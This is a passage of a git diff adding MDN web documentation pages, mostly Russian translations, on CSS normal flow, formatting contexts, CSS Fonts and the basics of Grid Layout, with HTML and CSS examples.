+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-margin-zero.html", '100%', 700)}}</p>
+
+<p>By default block elements will consume all of the space in the inline direction, so our paragraphs spread out and get as big as they can inside their containing block. If we give them a width, they will continue to lay out one below the other - even if there would be space for them to be side by side. Each will start against the start edge of the containing block, so the place at which sentences would begin in that writing mode.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-width.html", '100%', 700)}}</p>
+
+<h3 id="Margin_collapsing">Margin collapsing</h3>
+
+<p>The spec explains that margins between block elements <em>collapse</em>. This means that if you have an element with a top margin immediately after an element with a bottom margin, rather than the total space being the sum of these two margins, the margin collapses, and so will essentially become as large as the larger of the two margins.</p>
+
+<p>In the example below, the paragraphs have a top margin of <code>20px</code> and a bottom margin of <code>40px</code>. The size of the margin between the paragraphs is <code>40px</code> as the smaller top margin on the second paragraph has collapsed with the larger bottom margin of the first.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-collapsing.html", '100%', 500)}}</p>
+
+<p>You can read more about margin collapsing in our article <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Mastering Margin Collapsing</a>.</p>
+
+<div class="note">
+<p>Note: if you are not sure whether margins are collapsing, check the Box Model values in your browser DevTools. This will give you the actual size of the margin which can help you to identify what is happening.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16124/box-model.png" style="height: 848px; width: 828px;"></p>
+</div>
+
+<h2 id="Elements_participating_in_an_inline_formatting_context">Elements participating in an inline formatting context</h2>
+
+<p>Inline elements display one after the other in the direction that sentences run in that particular writing mode. While we don’t tend to think of inline elements as having a box, as with everything in CSS they do. These inline boxes are arranged one after the other. If there is not enough space in the containing block for all of the boxes a box can break onto a new line. The lines created are known as line boxes.</p>
+
+<p>In the following example, we have three inline boxes created by a paragraph with a {{HTMLElement("strong")}} element inside it.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/inline.html", '100%', 500)}}</p>
+
+<p>The boxes around the words before the <code>&lt;strong&gt;</code> element and after the <code>&lt;strong&gt;</code> element are referred to as anonymous boxes, boxes introduced to ensure that everything is wrapped in a box, but ones that we cannot target directly.</p>
+
+<p>The line box size in the block direction (so the height when working in English) is defined by the tallest box inside it. In the next example, I have made the <code>&lt;strong&gt;</code> element 300%; that content now defines the height of the line box on that line.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/line-box.html", '100%', 500)}}</p>
+
+<p>Find out more about how Block and Inline Boxes behave in our Guide to the <a href="/en-US/docs/Web/CSS/Visual_formatting_model">Visual Formatting Model</a>.</p>
+
+<h2 id="The_display_property_and_flow_layout">The display property and flow layout</h2>
+
+<p>In addition to the rules existing in CSS2.1, new levels of CSS further describe the behaviour of block and inline boxes. The {{cssxref("display")}} property defines how a box and any boxes inside it behave. In the CSS Display Model Level 3, we can learn more about how the <code>display</code> property changes the behaviour of boxes and the boxes they generate.</p>
+
+<p>The display type of an element defines the outer display type; this dictates how the box displays alongside other elements in the same formatting context. It also defines the inner display type, which dictates how boxes inside this element behave. We can see this very clearly when considering a flex layout. In the example below I have a {{HTMLElement("div")}}, which I have given <code>display: flex</code>. The flex container behaves like a block element: it displays on a new line and takes up all of the space it can in the inline direction. This is the outer display type of <code>block</code>.</p>
+
+<p>The flex items however are participating in a flex formatting context, because their parent is the element with <code>display: flex</code>, which has an inner display type of <code>flex</code>, establishing the flex formatting context for the direct children.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/flex.html", '100%', 500)}}</p>
+
+<p>Therefore you can think of every box in CSS working in this way. The box itself has an outer display type, so it knows how to behave alongside other boxes. It then has an inner display type which changes the way its children behave. Those children then have an outer and inner display type too. The flex items in the previous example become flex level boxes, so their outer display type is dictated by way of them being part of the flex formatting context. They have an inner display type of <em>flow</em> however, meaning that their children participate in normal flow. Items nested inside our flex item lay themselves out as block and inline elements unless something changes their display type.</p>
+
+<p>This concept of the outer and inner display type is important as this tells us that a container using a layout method such as Flexbox (<code>display: flex</code>) and Grid Layout (<code>display: grid</code>) is still participating in block and inline layout, due to the outer display type of those methods being <code>block</code>.</p>
+
+<h3 id="Changing_the_Formatting_Context_an_element_participates_in">Changing the Formatting Context an element participates in</h3>
+
+<p>Browsers display items as part of a block or inline formatting context in terms of what normally makes sense for that element. For example, a {{HTMLElement("strong")}} element is used to highlight a word and displays bold in browsers. It would not generally make sense for that <code>&lt;strong&gt;</code> element to be displayed as a block level element, breaking onto a new line. If you did want all <code>&lt;strong&gt;</code> elements to display as block elements, you could do so by setting <code>display: block</code> on <code>&lt;strong&gt;</code>. This means that you can always use most of the semantic HTML elements to markup your content, and then change the way it displays using CSS.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/change-formatting.html", '100%', 500)}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>In this guide, we have looked at how elements display in normal flow, as block and inline elements. Due to the default behaviour of these elements, an HTML document with no CSS styling at all, will display in a readable way. By understanding how normal flow works you will find layout easier, as you understand the starting point for making changes to how elements are displayed.</p>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Model">CSS Basic Box Model</a></li>
+ <li><em><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal Flow</a></em> - Learn Layout</li>
+ <li><a href="/en-US/docs/Web/HTML/Inline_elements">Inline elements</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Block-level_elements">Block-level elements</a></li>
+</ul>
diff --git a/files/ru/web/css/css_flow_layout/введение_в_контексты_форматирования/index.html b/files/ru/web/css/css_flow_layout/введение_в_контексты_форматирования/index.html
new file mode 100644
index 0000000000..c027e8eb3b
--- /dev/null
+++ b/files/ru/web/css/css_flow_layout/введение_в_контексты_форматирования/index.html
@@ -0,0 +1,85 @@
+---
+title: Введение в контексты форматирования
+slug: Web/CSS/CSS_Flow_Layout/Введение_в_контексты_форматирования
+translation_of: Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><span class="seoSummary">В этой статье представлена концепция контекстов форматирования (formatting context). Существует несколько типов контекстов форматирования, например, блочный контекст форматирования (block formatting context, BFC), строчный контекст форматирования (inline formatting context), флексовый контекст форматирования (flex formatting context). В статье даны основы того, как они себя ведут, и как вы можете использовать это поведение.</span></p>
+
+<p>Всё на странице является частью <strong>контекста форматирования</strong> (formatting context), который представляет собой область, в которой происходит раскладка контента по определенным правилам. <strong>Блочный контекст форматирования</strong> (block formatting context, BFC) делает раскладку своих дочерних элементов в соответствии с правилами блочной раскладки, <strong>флексовый контекст форматирования</strong> (flex formatting context) раскладывает свои дочерние элементы как {{Glossary("flex item", "флекс-элементы")}} и т.д. Каждый контекст форматирования использует свои правила раскладки.</p>
+
+<h2 id="Блочные_контексты_форматирования">Блочные контексты форматирования</h2>
+
+<p>Самый внешний элемент в документе, который использует правила блочной раскладки, устанавливает первый или <strong>начальный блочный контекст форматирования</strong> (initial block formatting context). Это означает, что все элементы внутри элемента <code>&lt;html&gt;</code> раскладываются в соответствии с нормальным потоком, следуя правилам блочной и строчной раскладки. Элементы, участвующие в <abbr title="Блочный контекст форматирования">БКФ</abbr>, используют правила, описанные в модели бокса (CSS Box Model), которая определяет, как поля (margins), границы (borders) и отступы (paddings) элемента взаимодействуют с другими блоками в том же контексте.</p>
+
+<h3 id="Создание_нового_блочного_контекста_форматирования">Создание нового блочного контекста форматирования</h3>
+
+<p>Элемент {{HTMLElement("html")}} не единственный, кто может создавать блочный контекст форматирования. Любой элемент, который по умолчанию представляет собой блок, также создает блочный контекст форматирования для своих потомков. Кроме того, существуют свойства CSS, которые могут заставить элемент создавать БКФ, даже если он не делает этого по умолчанию. Это может быть полезным поскольку новый БКФ будет вести себя во многом как внешний документа, в том смысле, что он создает новую мини-раскладку в основной раскладке. БКФ содержит все внутри себя, {{cssxref("float")}} and {{cssxref("clear")}} применяются только к элементам, которые находится в том же контексте форматирования, также как и поля (margings) схлопываются только между элементами одного и того же контекста форматирования.</p>
+
+<p>Кроме корневого элемента ({{HTMLElement("html")}}) новый БКФ создается в следующих случаях:</p>
+
+<ul>
+ <li>плавающие элементы ({{cssxref("float", "float: left", "#left")}} или {{cssxref("float", "float: right", "#right")}});</li>
+ <li>абсолютно позиционированные элементы ({{cssxref("position", "position: absolute", "#absolute")}}, {{cssxref("position", "position: fixed", "#fixed")}} или {{cssxref("position", "position: sticky", "#sticky")}});</li>
+ <li>элементы с {{cssxref("display", "display: inline-block", "#inline-block")}};</li>
+ <li>ячейки табицы или элементы с <code>display: table-cell</code>, включая анонимные ячейки таблицы, которые создаются, когда используются свойства <code>display: table-*</code>;</li>
+ <li>заголовки таблицы или элементы с <code>display: table-caption</code>;</li>
+ <li>блочные элементы, когда значение свойства overflow отлично от <code>visible</code>;</li>
+ <li>элементы с <code>display: flow-root</code> или <code>display: flow-root list-item</code>;</li>
+ <li>элементы с {{cssxref("contain", "contain: layout", "#layout")}}, <code>content</code>, или <code>strict</code></li>
+ <li>{{Glossary("flex item", "флекс-элементы")}};</li>
+ <li>грид-элементы;</li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Columns/Basic_Concepts_of_Multicol">контейнеры мультиколонок</a>;</li>
+ <li>элементы с {{cssxref("column-span")}} в значении <code>all</code>.</li>
+</ul>
+
+
+
+<p>Let's have a look at a couple of these in order to see the effect creating a new <abbr title="Block Formatting Context">BFC</abbr>.</p>
+
+<p>In the example below, we have a floated element inside a <code>&lt;div&gt;</code> with a border applied. The content of that <code>div</code> has floated alongside the floated element. As the content of the float is taller than the content alongside it, the border of the div now runs through the float. As explained in the <a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">guide to in-flow and out of flow elements</a>, the float has been taken out of flow so the background and border of the div only contain the content and not the float.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}</p>
+
+<p>Creating a new <abbr title="Block Formatting Context">BFC</abbr> would contain the float. A typical way to do this in the past has been to set <code>overflow: auto</code> or set other values than the initial value of <code>overflow: visible</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-overflow.html", '100%', 720)}}</p>
+
+<p>Setting  <code>overflow: auto</code> created a new <abbr title="Block Formatting Context">BFC</abbr> containing the float. Our <code>div</code> now becomes a mini-layout inside our layout. Any child element will be contained inside it.</p>
+
+<p>The problem with using <code>overflow</code> to create a new <abbr title="Block Formatting Context">BFC</abbr> is that the <code>overflow</code> property is meant for telling the browser how you wish to deal with overflowing content. There are some occasions in which you will find you get unwanted scrollbars or clipped shadows when you use this property purely to create a BFC. In addition, it is potentially not very readable for a future developer, as it may not be obvious why you used overflow for this purpose. If you do this, it would be a good idea to comment the code to explain.</p>
+
+<h3 id="Explicitly_creating_a_BFC_using_display_flow-root">Explicitly creating a BFC using display: flow-root</h3>
+
+<p>Using <code>display: flow-root</code> (or <code>display: flow-root list-item)</code> on the containing block will create a new <abbr title="Block Formatting Context">BFC</abbr> without any other potentially problematic side-effects.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-flow-root.html", '100%', 720)}}</p>
+
+<p>With <code>display: flow-root</code> on the {{HTMLElement("div")}}, everything inside that container participates in the block formatting context of that container, and floats will not poke out of the bottom of the element.</p>
+
+<p>The name of the <code>flow-root</code> keyword refers to the fact that you're creating something that serves, in essence, like a new root element (like {{HTMLElement("html")}} does), given how the new context is created and its flow layout functions.</p>
+
+<h2 id="Inline_formatting_contexts">Inline formatting contexts</h2>
+
+<p>Inline formatting contexts exist inside other formatting contexts and can be thought of as the context of a paragraph. The paragraph creates an inline formatting context inside which such things as {{HTMLElement("strong")}}, {{HTMLElement("a")}}, or {{HTMLElement("span")}} elements are used on text.</p>
+
+<p>The box model does not fully apply to items participating in an inline formatting context. In a horizontal writing mode line, horizontal padding, borders and margin will be applied to the element and push the text away left and right. However, margins above and below the element will not be applied. Vertical padding and borders will be applied but may  overlap content above and below as, in the inline formatting context, the line boxes will not be pushed apart by padding and borders.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/inline.html", '100%', 720)}}</p>
+
+<h2 id="Other_formatting_contexts">Other formatting contexts</h2>
+
+<p>This guide covers flow layout and is therefore not referring to other possible formatting contexts. As such, it is useful to understand that creating any kind of formatting context will change the way elements inside that formatting context behave. This behavior is always described in the specification and also here on MDN.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>In this guide, we have looked in more detail at the block and Inline formatting contexts and the important subject of creating a block formatting context (<abbr title="Block Formatting Context">BFC</abbr>). In the next guide, we will find out <a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes">how normal flow interacts with different writing modes</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Block_formatting_context">Block formatting context</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Visual_formatting_model">Visual Formatting Model</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Model">CSS Box Model</a></li>
+</ul>
diff --git a/files/ru/web/css/css_fonts/index.html b/files/ru/web/css/css_fonts/index.html
new file mode 100644
index 0000000000..4291fd6253
--- /dev/null
+++ b/files/ru/web/css/css_fonts/index.html
@@ -0,0 +1,132 @@
+---
+title: CSS Fonts
+slug: Web/CSS/CSS_Fonts
+translation_of: Web/CSS/CSS_Fonts
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Fonts</strong> - модуль в CSS, который определяет свойства связанные со шрифтами и как шрифтовые ресурсы загружаются. Модуль позволяет вам задать стиль шрифта, вроде font-family, font-size и font-weight, lineheight и варианты отображения знаков, когда для одного доступны сразу несколько</p>
+
+<h2 id="Базовый_пример">Базовый пример</h2>
+
+<p>Следующий пример показывает простое использование шрифтовых свойств, стилизующих тэг &lt;p&gt;.</p>
+
+<pre class="brush: css notranslate">p {
+  width: 600px;
+  margin: 0 auto;
+  font-family: "Helvetica Neue", "Arial", sans-serif;
+  font-style: italic;
+  font-weight: 100;
+  font-variant-ligatures: normal;
+  font-size: 2rem;
+  letter-spacing: 1px;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;p&gt;Three hundred years ago&lt;br&gt;
+  I thought I might get some sleep&lt;br&gt;
+  I stretched myself out onna antique bed&lt;br&gt;
+  An' my spirit did a midnite creep&lt;/p&gt;</pre>
+
+<p>Вывод на экран будет следующим:</p>
+
+<p>{{EmbedLiveSample('Basic_example', '100%', '200')}}</p>
+
+<h2 id="Различные_примеры_шрифтов">Различные примеры шрифтов</h2>
+
+<p>Вы можете найти множетсво вариантов шрифтов на <a href="https://v-fonts.com/">v-fonts.com</a> и <a href="https://www.axis-praxis.org/">axis-praxis.org</a>; так же смотрите наше руководство <a href="/en-US/docs/Web/CSS/CSS_Fonts/Variable_Fonts_Guide">Variable fonts</a> для большей информации по использованию.</p>
+
+<h2 id="Отсылки">Отсылки</h2>
+
+<h3 id="Properties">Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("font")}}</li>
+ <li>{{cssxref("font-family")}}</li>
+ <li>{{cssxref("font-feature-settings")}}</li>
+ <li>{{cssxref("font-kerning")}}</li>
+ <li>{{cssxref("font-language-override")}}</li>
+ <li>{{cssxref("font-optical-sizing")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-size-adjust")}}</li>
+ <li>{{cssxref("font-stretch")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-synthesis")}}</li>
+ <li>{{cssxref("font-variant")}}</li>
+ <li>{{cssxref("font-variant-alternates")}}</li>
+ <li>{{cssxref("font-variant-caps")}}</li>
+ <li>{{cssxref("font-variant-east-asian")}}</li>
+ <li>{{cssxref("font-variant-ligatures")}}</li>
+ <li>{{cssxref("font-variant-numeric")}}</li>
+ <li>{{cssxref("font-variant-position")}}</li>
+ <li>{{cssxref("font-variation-settings")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("line-height")}}</li>
+</ul>
+</div>
+
+<h3 id="At-rules">At-rules</h3>
+
+<dl>
+ <dt>{{cssxref("@font-face")}}</dt>
+ <dd>
+ <div class="index">
+ <ul>
+  <li>{{cssxref("@font-face/font-family", "font-family")}}</li>
+  <li>{{cssxref("@font-face/font-feature-settings", "font-feature-settings")}}</li>
+  <li>{{cssxref("@font-face/font-style", "font-style")}}</li>
+  <li>{{cssxref("@font-face/font-variant", "font-variant")}}</li>
+  <li>{{cssxref("@font-face/font-weight", "font-weight")}}</li>
+  <li>{{cssxref("@font-face/font-stretch", "font-stretch")}}</li>
+  <li>{{cssxref("@font-face/src", "src")}}</li>
+  <li>{{cssxref("@font-face/unicode-range", "unicode-range")}}</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{cssxref("@font-feature-values")}}</dt>
+</dl>
+
+<h2 id="Руководство">Руководство</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Fundamental text and font styling</a></dt>
+ <dd>В этой обучающей статье для новичков мы детально описываем основы стилизации текста/шрифта, включая определение жирности начертания, вида шрифта и стилей, рассматриваем сокращённую запись свойства font, декорации текста и другие эффекты, а так же межстрочные и межбуквенные интервалы.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Fonts/OpenType_fonts_guide">OpenType font features guide</a></dt>
+ <dd>Особенности шрифтов или их варианты ссылаются на различные стили символов или букв, содержащиеся в OpenType. Руководство описывает такие вещи как лигатура (специальные символы объединяющие буквы вроде 'fi' или 'ffl'), кернинг (то, как свободное место распределяется между различными символами) и другое. Всё перечисленное относится к особенностям OpenType и позволяет использовать в вэбе специальные свойства и свойства контроля нижнего уровня {{cssxref("font-feature-settings")}}. В статье есть всё, что вам нужно знать об особенностях OpenType шрифтов в CSS.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Fonts/Variable_Fonts_Guide">Variable fonts guide</a></dt>
+ <dd><strong>Variable fonts</strong> are an evolution of the OpenType font specification that enables many different variations of a typeface to be incorporated into a single file, rather than having a separate font file for every width, weight, or style. This article will give you all you need to know to get you started using variable fonts.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Adds <code>font-variation-settings</code> (and related higher-level properties) and <code>font-optical-sizing</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Adds <code>font-feature-settings</code> (and related higher-level properties)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#font-shorthand', '')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font', '')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
new file mode 100644
index 0000000000..a616e84382
--- /dev/null
+++ b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
@@ -0,0 +1,724 @@
+---
+title: Основные понятия Grid Layout
+slug: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
+translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
+---
+<p><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a> представляет двумерную сетку для CSS. Grid (здесь и далее подразумевается <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a> ) можно использовать для размещения основных областей страницы или небольших элементов пользовательского интерфейса. В этой статье описывается компоновка сетки CSS и новая терминология, которая является частью спецификации CSS Grid Layout Level 1. Функции, показанные в этом обзоре, будут более подробно описаны в остальной части данного руководства.</p>
+
+<h2 id="Что_такое_Grid">Что такое Grid?</h2>
+
+<p>Grid представляет собой пересекающийся набор горизонтальных и вертикальных линий - один набор определяет столбцы, а другой строки. Элементы могут быть помещены в сетку, соответственно строкам и столбцам.  Grid имеет следующие функции:</p>
+
+<h3 id="Фиксированные_и_гибкие_размеры_полос">Фиксированные и гибкие размеры полос</h3>
+
+<p>Вы можете создать сетку с фиксированными размерами полос — например, используя пиксели. Вы также можете создать сетку с гибкими размерами, используя проценты или новую единицу измерения - fr, предназначенную для этой цели.</p>
+
+<h3 id="Расположение_элемента">Расположение элемента</h3>
+
+<p>Вы можете размещать элементы в заданном месте Grid, используя номера строк, имена или путем привязки к области Grid. Grid также содержит алгоритм управления размещением элементов, не имеющих явной позиции в Grid.</p>
+
+<h3 id="Создание_дополнительных_полос_для_хранения_контента">Создание дополнительных полос для хранения контента</h3>
+
+<p>Вы можете определить явную сетку с макетом сетки, но спецификация также касается контента, добавленного за пределами объявленной сетки, при необходимости добавляя дополнительные строки и столбцы. Включены такие функции, как добавление «столько столбцов, сколько будет помещено в контейнер».</p>
+
+<h3 id="Управление_выравниванием">Управление выравниванием</h3>
+
+<p>Grid содержит функции выравнивания, чтобы мы могли контролировать, как элементы выравниваются после размещения в области сетки, и как выравнивается весь Grid.</p>
+
+<h3 id="Управление_перекрывающимся_контентом">Управление перекрывающимся контентом</h3>
+
+<p>В ячейку сетки может быть помещено более одного элемента, или области могут частично перекрывать друг друга. Затем это расслоение можно контролировать с помощью {{cssxref ("z-index")}}.</p>
+
+<p>Grid - это мощная спецификация и в сочетании с другими частями CSS, такими как <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">flexbox</a>, может помочь вам создать макеты, которые ранее невозможно было построить в CSS. Все начинается с создания сетки в вашем <strong>grid контейнере</strong>.</p>
+
+<h2 id="Grid_контейнер">Grid контейнер</h2>
+
+<p>Мы создаем<em> grid контейнер</em>, объявляя<strong> display: grid </strong>или <strong>display: inline-grid </strong>на элементе. Как только мы это сделаем, <em>все прямые дети</em> этого элемента станут <em>элементами сетки</em>.</p>
+
+<p>В этом примере есть div, содержащий класс wrapper с пятью потомками</p>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Сделаем wrapper grid контейнером</p>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Grid_контейнер', '200', '330') }}</p>
+
+<p>Все прямые потомки теперь являются grid элементами. В веб-браузере вы не увидите никакой разницы в отображении элементов, поскольку Grid создал единую сетку столбцов для элементов. На данный момент вам может оказаться удобным работать в Firefox Developer Edition, в котором есть <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Inspector</a>, доступный как часть инструментов разработчика. Если вы просмотрите этот пример в Firefox и проверите Grid, вы увидите маленький значок рядом с display: grid. Нажмите этот значок, и сетка на этом элементе будет наложена в окне браузера.</p>
+
+<p><img alt="Using the Grid Highlighter in DevTools to view a grid" src="https://mdn.mozillademos.org/files/14631/1-grid-inspector.png" style="height: 753px; width: 900px;"></p>
+
+<p>По мере вашего обучения и последующей работы с CSS Grid Layout этот инструмент даст вам лучшее визуальное представление о том, что происходит с вашей сеткой.</p>
+
+<p>Если мы хотим, чтобы это стало более похожим на сетку, нам нужно добавить полосы.</p>
+
+<h2 id="Grid_Tracks">Grid Tracks</h2>
+
+<p>Мы определяем ряды и столбцы в нашей сетке при помощи свойств {{cssxref("grid-template-columns")}} и {{cssxref("grid-template-rows")}}. Это определяет полосы сетки. Полоса сетки — это место между любыми двумя линиями сетки. На изображении ниже вы можете увидеть подсветку полосы — первого трека ряда в нашей сетке.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14637/1_Grid_Track.png" style="height: 261px; width: 392px;"></p>
+
+<p>Можно дополнить пример выше, добавив свойство <code>grid-template-columns</code>  и  задав размеры полос колонок.</p>
+
+<p>В примере ниже мы создаём сетку с шириной колонки 200px. Каждый дочерний элемент сетки будет располагаться в отдельной ячейке сетки.</p>
+
+<div id="grid_first">
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: 200px 200px 200px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('grid_first', '610', '140') }}</p>
+</div>
+
+<h3 id="Единица_измерения_fr">Единица измерения fr</h3>
+
+<p>Размер треков (полос) может быть задан с помощью любой единицы длины. Спецификация также вводит дополнительную единицу длины, позволяющую создавать эластичные (flexible) грид-треки. Новая единица длины <code>fr</code> представляет собой долю (fraction) доступного пространства в грид-контейнере. Определение грида в коде ниже создаст три трека равной длины, которые будут увеличиваться и уменьшаться в размерах в соответствии с доступным пространством.</p>
+
+<div id="fr_unit_ls">
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('fr_unit_ls', '220', '140') }}</p>
+</div>
+
+<p>В следующем примере мы создаем грид с треком в  <code>2fr</code> и двумя треками по  <code>1fr</code>. Доступное пространство разбивается на четыре части. Две части занимает первый трек, и две части - два оставшихся. </p>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+}
+</pre>
+
+<p>В последнем примере смешаем треки с абсолютной длиной и треки с длиной во fr. Размер первого трека 500 пикселей, и эта фиксированная ширина убирается из доступного пространства. Оставшееся пространство разбивается на три части и пропорционально разделяется между двумя эластичными треками.</p>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: 500px 1fr 2fr;
+}
+</pre>
+
+<h3 id="Задание_треков_с_помощью_нотации_repeat">Задание треков с помощью нотации <code>repeat()</code></h3>
+
+<p>В огромных гридах с большим количеством треков можно использовать нотацию <code>repeat()</code> , чтобы повторить структуру треков или ее часть. Например, такое задание грида:</p>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+</pre>
+
+<p>можно записать вот так:</p>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<p>Repeat-нотацию можно использовать как часть списка треков. В следующем примере создается грид с начальным треком шириной в 20 пикселей, шестью треками шириной в 1fr и последним треком шириной в 20 пикселей.</p>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: 20px repeat(6, 1fr) 20px;
+}
+</pre>
+
+<p>Repeat-нотация в качестве аргумента принимает список треков, поэтому с ее помощью можно создавать структуру из повторяющихся треков. В следующем примере грид состоит из 10 треков: за треком шириной <code>1fr</code> следует трек шириной <code>2fr</code> , и все это дело повторяется пять раз.</p>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(5, 1fr 2fr);
+}
